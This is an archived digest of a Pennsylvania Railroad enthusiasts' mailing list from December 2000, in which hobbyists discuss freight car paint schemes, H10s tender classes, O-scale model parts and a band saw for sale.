<<H34 in 1954 was delivered in gray.>>



Correct, very light gray with Black Shadowed Keystone and black lettering 

after Pullman Standard delivered them in early 1954.  At least two had their 

roofs painted black for some reason.



<<The circle keystone was introduced in early 1954 on boxcars.>> 



I think you mean the Shadowed Keystone don't you?  The Circle Keystone, 

wasn''t that the one on the Merchandise Service Cars?



<<When did the drawing for covered hoppers change to gray with shadow 

keystone?  Anyone know how fast the older cars were repainted?

Bob Zoeller>>



I think if I am correct, and if Rick Tipton is watching, June of 1954 even 

thought the Pullman standard cars came earlier, but I would have to check my 

article ...



Greg Martin 



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Date: Sat, 30 Dec 2000 22:11:50 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: Re: [PRR] H10 Tenders



Gene, list,



Most hand fired H10s engines had 80F81 tenders.  These

could have the inward sloping coal bunker or a more

normal coal bunker replacing the original.  Stoker

fired H10s engines had 80F81a and 80P81a tenders. 

Preserved H10s 7688 has a 80P81a tender, numbered

7624.  

All is not lost, however (as far as I know, a stoker

fired H10s has not been imported, but I'd like to be

proven wrong).  Carleton's Pennsy Steam: A to T has,

on pages 60 and 61 shots of H10s 8014 with a tender

from an I1sa decapod, original class 90F82.  I'm not

sure of what the H10s class would be; perhaps 90F81?  



My model of the 7688 has a Lines West coal bunker

added to a Bowser low-sided tender; I know now that

this is inaccurate.  I plan on using Trainstuff LLC's

90F82 to get closer (though still not exactly right)

to the prototype.  



The 80F81 and 80P81a look like a smaller version of

the 90F75 tender riding behind the stoker fired L1s

class.  The truck centers on an 80P81 are 17 feet 8

inches, while on a 90F75, the truck centers are 19

feet exactly; this is slightly over 1/8 inch.  If you

can live with the oversized rivets, you can use a

Bowser high side tender, which is, more or less, a

90F75.



By the way, very nice freight cars in RMC!!!



Doug



--- Gene Deimling <endeimling@mindspring.com> wrote:

> Can anyone help me with information on the class of

> tenders most common to

> H10 locos?  I know about the 80F81 used on Lines

> West.   My Key model has

> one of those.  I need to replace it with tender type

> found on locos in the

> eastern PA and NJ area.

> Thanks and Happy New Year

> 

> Gene Deimling

> 

> 

>

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__________________________________________________

Do You Yahoo!?

Yahoo! Photos - Share your holiday photos online!

http://photos.yahoo.com/



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From: "Gene Deimling" <endeimling@mindspring.com>

Subject: RE: [PRR] H10 Tenders

Date: Sat, 30 Dec 2000 22:53:12 -0800



Doug:

Thanks with the informative response.  I appreciate your comment about the

Bowser tender.  Unfortunately, I work in 1/48 scale.  This will require some

scratchbuilding.

Gene



-----Original Message-----

From: Doug Kisala [mailto:dougkisala@yahoo.com]

Sent: Saturday, December 30, 2000 10:12 PM

To: Gene Deimling; PRR talk

Subject: Re: [PRR] H10 Tenders





Gene, list,



Most hand fired H10s engines had 80F81 tenders.  These

could have the inward sloping coal bunker or a more

normal coal bunker replacing the original.  Stoker

fired H10s engines had 80F81a and 80P81a tenders.

Preserved H10s 7688 has a 80P81a tender, numbered

7624.

All is not lost, however (as far as I know, a stoker

fired H10s has not been imported, but I'd like to be

proven wrong).  Carleton's Pennsy Steam: A to T has,

on pages 60 and 61 shots of H10s 8014 with a tender

from an I1sa decapod, original class 90F82.  I'm not

sure of what the H10s class would be; perhaps 90F81?



My model of the 7688 has a Lines West coal bunker

added to a Bowser low-sided tender; I know now that

this is inaccurate.  I plan on using Trainstuff LLC's

90F82 to get closer (though still not exactly right)

to the prototype.



The 80F81 and 80P81a look like a smaller version of

the 90F75 tender riding behind the stoker fired L1s

class.  The truck centers on an 80P81 are 17 feet 8

inches, while on a 90F75, the truck centers are 19

feet exactly; this is slightly over 1/8 inch.  If you

can live with the oversized rivets, you can use a

Bowser high side tender, which is, more or less, a

90F75.



By the way, very nice freight cars in RMC!!!



Doug



--- Gene Deimling <endeimling@mindspring.com> wrote:

> Can anyone help me with information on the class of

> tenders most common to

> H10 locos?  I know about the 80F81 used on Lines

> West.   My Key model has

> one of those.  I need to replace it with tender type

> found on locos in the

> eastern PA and NJ area.

> Thanks and Happy New Year

>

> Gene Deimling

>

>

>

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From: Bobspf@aol.com

Date: Sun, 31 Dec 2000 01:51:20 EST

Subject: Re: [PRR] Covered hopper painting and lettering



In a message dated 12/30/00 11:47:08 PM Central Standard Time, TGREGMRTN 

writes:



<< <<The circle keystone was introduced in early 1954 on boxcars.>> 

 

 I think you mean the Shadowed Keystone don't you?   >>



Yup. Brain disconnected from typing fingers temporarily.



Bob



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From: "aidrian.bridgeman-sutton" <aidrian.bridgeman-sutton@ntlworld.com>

Subject: Re: Re; [PRR] Structure Colors

Date: Sun, 31 Dec 2000 08:40:13 -0000



Your basic problem is that while you may be able to come up with an RGB mix,

there is no guarantee that your monitor and card combination will display

them the same as mine or anybody else's. It's also necessary to remenber

that HTML and colour monitors postdate the PRR by a good many years.



| Do the PRR color drift cards have color numbers assigned to them? What

| I'm getting at is can I see the prr colors using the HTML  color pallet?







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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] H10 Tenders

Date: Sun, 31 Dec 2000 11:55:10 -0500



Gene:-



Check out Central Locomotive Works website. They have been bought out by a

new West Coast outfit and have some parts for the 1/48 O Scale H10

available. They might have some of the tender parts you need.



Gregg Mahlkov



----- Original Message -----

From: "Gene Deimling" <endeimling@mindspring.com>

To: "Doug Kisala" <dougkisala@yahoo.com>; "PRR talk" <prr-talk@dsop.com>

Sent: Sunday, December 31, 2000 1:53 AM

Subject: RE: [PRR] H10 Tenders





> Doug:

> Thanks with the informative response.  I appreciate your comment about the

> Bowser tender.  Unfortunately, I work in 1/48 scale.  This will require

some

> scratchbuilding.

> Gene

>

> -----Original Message-----

> From: Doug Kisala [mailto:dougkisala@yahoo.com]

> Sent: Saturday, December 30, 2000 10:12 PM

> To: Gene Deimling; PRR talk

> Subject: Re: [PRR] H10 Tenders

>

>

> Gene, list,

>

> Most hand fired H10s engines had 80F81 tenders.  These

> could have the inward sloping coal bunker or a more

> normal coal bunker replacing the original.  Stoker

> fired H10s engines had 80F81a and 80P81a tenders.

> Preserved H10s 7688 has a 80P81a tender, numbered

> 7624.

> All is not lost, however (as far as I know, a stoker

> fired H10s has not been imported, but I'd like to be

> proven wrong).  Carleton's Pennsy Steam: A to T has,

> on pages 60 and 61 shots of H10s 8014 with a tender

> from an I1sa decapod, original class 90F82.  I'm not

> sure of what the H10s class would be; perhaps 90F81?

>

> My model of the 7688 has a Lines West coal bunker

> added to a Bowser low-sided tender; I know now that

> this is inaccurate.  I plan on using Trainstuff LLC's

> 90F82 to get closer (though still not exactly right)

> to the prototype.

>

> The 80F81 and 80P81a look like a smaller version of

> the 90F75 tender riding behind the stoker fired L1s

> class.  The truck centers on an 80P81 are 17 feet 8

> inches, while on a 90F75, the truck centers are 19

> feet exactly; this is slightly over 1/8 inch.  If you

> can live with the oversized rivets, you can use a

> Bowser high side tender, which is, more or less, a

> 90F75.

>

> By the way, very nice freight cars in RMC!!!

>

> Doug

>

> --- Gene Deimling <endeimling@mindspring.com> wrote:

> > Can anyone help me with information on the class of

> > tenders most common to

> > H10 locos?  I know about the 80F81 used on Lines

> > West.   My Key model has

> > one of those.  I need to replace it with tender type

> > found on locos in the

> > eastern PA and NJ area.

> > Thanks and Happy New Year

> >

> > Gene Deimling

> >

> >

> >

> -----------------------------------------------------------------------

> > Join our SPF database at

> > http://kc.pennsyrr.com/forms/spf/index.html.

> >

> -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the

> > message "help" to

> > "listserv@dsop.com".

>

>

> __________________________________________________

> Do You Yahoo!?

> Yahoo! Photos - Share your holiday photos online!

> http://photos.yahoo.com/

>

>

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> "listserv@dsop.com".

>

>





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From: "Gene Deimling" <endeimling@mindspring.com>

Subject: RE: [PRR] H10 Tenders

Date: Sun, 31 Dec 2000 09:26:43 -0800



Greg:

Yes they are still offering some parts.  The tender that they sold with the

H10s is the same model that is on my Key engine.  It is the Lines West

tender.   It will have a new home soon with a fellow P:48 Pennsy fan in the

midwest.   I would like to have something more typical of the East.

Thanks for the hint,

Gene



-----Original Message-----

From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Gregg

Mahlkov

Sent: Sunday, December 31, 2000 8:55 AM

To: Gene Deimling; PRR-Talk@dsop.com

Subject: Re: [PRR] H10 Tenders





Gene:-



Check out Central Locomotive Works website. They have been bought out by a

new West Coast outfit and have some parts for the 1/48 O Scale H10

available. They might have some of the tender parts you need.



Gregg Mahlkov



----- Original Message -----

From: "Gene Deimling" <endeimling@mindspring.com>

To: "Doug Kisala" <dougkisala@yahoo.com>; "PRR talk" <prr-talk@dsop.com>

Sent: Sunday, December 31, 2000 1:53 AM

Subject: RE: [PRR] H10 Tenders





> Doug:

> Thanks with the informative response.  I appreciate your comment about the

> Bowser tender.  Unfortunately, I work in 1/48 scale.  This will require

some

> scratchbuilding.

> Gene

>

> -----Original Message-----

> From: Doug Kisala [mailto:dougkisala@yahoo.com]

> Sent: Saturday, December 30, 2000 10:12 PM

> To: Gene Deimling; PRR talk

> Subject: Re: [PRR] H10 Tenders

>

>

> Gene, list,

>

> Most hand fired H10s engines had 80F81 tenders.  These

> could have the inward sloping coal bunker or a more

> normal coal bunker replacing the original.  Stoker

> fired H10s engines had 80F81a and 80P81a tenders.

> Preserved H10s 7688 has a 80P81a tender, numbered

> 7624.

> All is not lost, however (as far as I know, a stoker

> fired H10s has not been imported, but I'd like to be

> proven wrong).  Carleton's Pennsy Steam: A to T has,

> on pages 60 and 61 shots of H10s 8014 with a tender

> from an I1sa decapod, original class 90F82.  I'm not

> sure of what the H10s class would be; perhaps 90F81?

>

> My model of the 7688 has a Lines West coal bunker

> added to a Bowser low-sided tender; I know now that

> this is inaccurate.  I plan on using Trainstuff LLC's

> 90F82 to get closer (though still not exactly right)

> to the prototype.

>

> The 80F81 and 80P81a look like a smaller version of

> the 90F75 tender riding behind the stoker fired L1s

> class.  The truck centers on an 80P81 are 17 feet 8

> inches, while on a 90F75, the truck centers are 19

> feet exactly; this is slightly over 1/8 inch.  If you

> can live with the oversized rivets, you can use a

> Bowser high side tender, which is, more or less, a

> 90F75.

>

> By the way, very nice freight cars in RMC!!!

>

> Doug

>

> --- Gene Deimling <endeimling@mindspring.com> wrote:

> > Can anyone help me with information on the class of

> > tenders most common to

> > H10 locos?  I know about the 80F81 used on Lines

> > West.   My Key model has

> > one of those.  I need to replace it with tender type

> > found on locos in the

> > eastern PA and NJ area.

> > Thanks and Happy New Year

> >

> > Gene Deimling

> >

> >

> >

> -----------------------------------------------------------------------

> > Join our SPF database at

> > http://kc.pennsyrr.com/forms/spf/index.html.

> >

> -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the

> > message "help" to

> > "listserv@dsop.com".

>

>

> __________________________________________________

> Do You Yahoo!?

> Yahoo! Photos - Share your holiday photos online!

> http://photos.yahoo.com/

>

>

> -----------------------------------------------------------------------

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> -----------------------------------------------------------------------

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> "listserv@dsop.com".

>

>





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From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: Fw: Fw: [PRR] PRR in Alabama?

Date: Sun, 31 Dec 100 14:52:59 -0500 (EST)



Steve Hoxie scribit:

> 

> I've seen it.  (Again just after Thanksgiving).  It's been there about a =

> year.  I did take photo's of itlast year.  It's in tuscan five stripe.  =

> All my train stuff and photo's are still packed up.  It is right on =

> Highway 78 along with some passenger cars and a caboose.  From what I =

> heard the place is suppose to be a "wedding chapel".  There has been no =

> one there when I've been by.  The E-8 is in fair shape outside.  Paint =

> fading a little bit.  The inside is completely gutted.  You can look =

> throught the rear door and see all the way out the cab windows.  I'll =

> try to dig the photo's out in the next day or two.  Can you take =

> attachments? or I can bring them when we come down next week.



Steve,

do you have any more info as to where, loco number, etc.?



--

Mark





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From: mittner@webtv.net (Gary Mittner)

Date: Sun, 31 Dec 2000 15:10:00 -0500 (EST)

Subject: Re: [PRR] H10 Tenders



Gene,



 Didn't Sunset (Samhogsa) import back in the early 1980's a series of O

Scale PRR H Class Locos? I was just starting out in HO but I remember

seeing O Scale locos at train shows and if I recall, the tenders were

either the Low Side or the one with straight coal bunker. You might want

to look out for one of those. You might get away with using a Low Side

E6 Tender as well.  Good Luck with your search....Gary









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: K-4sDRIVER@webtv.net (Mark Lehman)

Date: Sun, 31 Dec 2000 15:16:10 -0500 (EST)

Subject: [PRR] Fire in Phila.Pa.



 Anyone know what year a fire destroyed the building containing the PRR

records happened?     Mark





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From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: [PRR] DELMARVA Track Diagrams

Date: Sun, 31 Dec 100 15:43:33 -0500 (EST)



PKMac1@aol.com scribit:

> 

> Mark and Fellows. Thought engineering station numbering be it highway or 

> railroad is in hundred foot stations. 1+ 00 being 100 ft thus 1372+ 80 would 

> be 137,280 ft.not  MP 137.2+80. At least that is the way the PRR Valuation 

> Maps for RoW are. Starting at 0, MP1 would be 52+80 and MP 2 would be 105+60.



Pat,

on re-reviewing the B&O maps I have, you must be right. 25-some miles from

somewhere near Youngstown to Middlefield, Ohio is much more appropriate a

distance than 137.2 miles.



-- 

Mark



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From: DPoole17@aol.com

Date: Sun, 31 Dec 2000 15:48:27 EST

Subject: [PRR] VARIABLE SPEED BAND SAW FOR SALE



I have a CRAFTSMAN, variable-speed, band saw FOR SALE.  It will cut anything 

between plastic, wood and metal.  It is about 2 years old.  I used it for the 

one inch cars I was building but have since got a metal-cutting band saw and 

it has all but replaced the CRAFTSMAN.  They list for around $200 but this 

one is available for the first $100 offer.

Contact DICK POOLE        Dpoole17@aol.com



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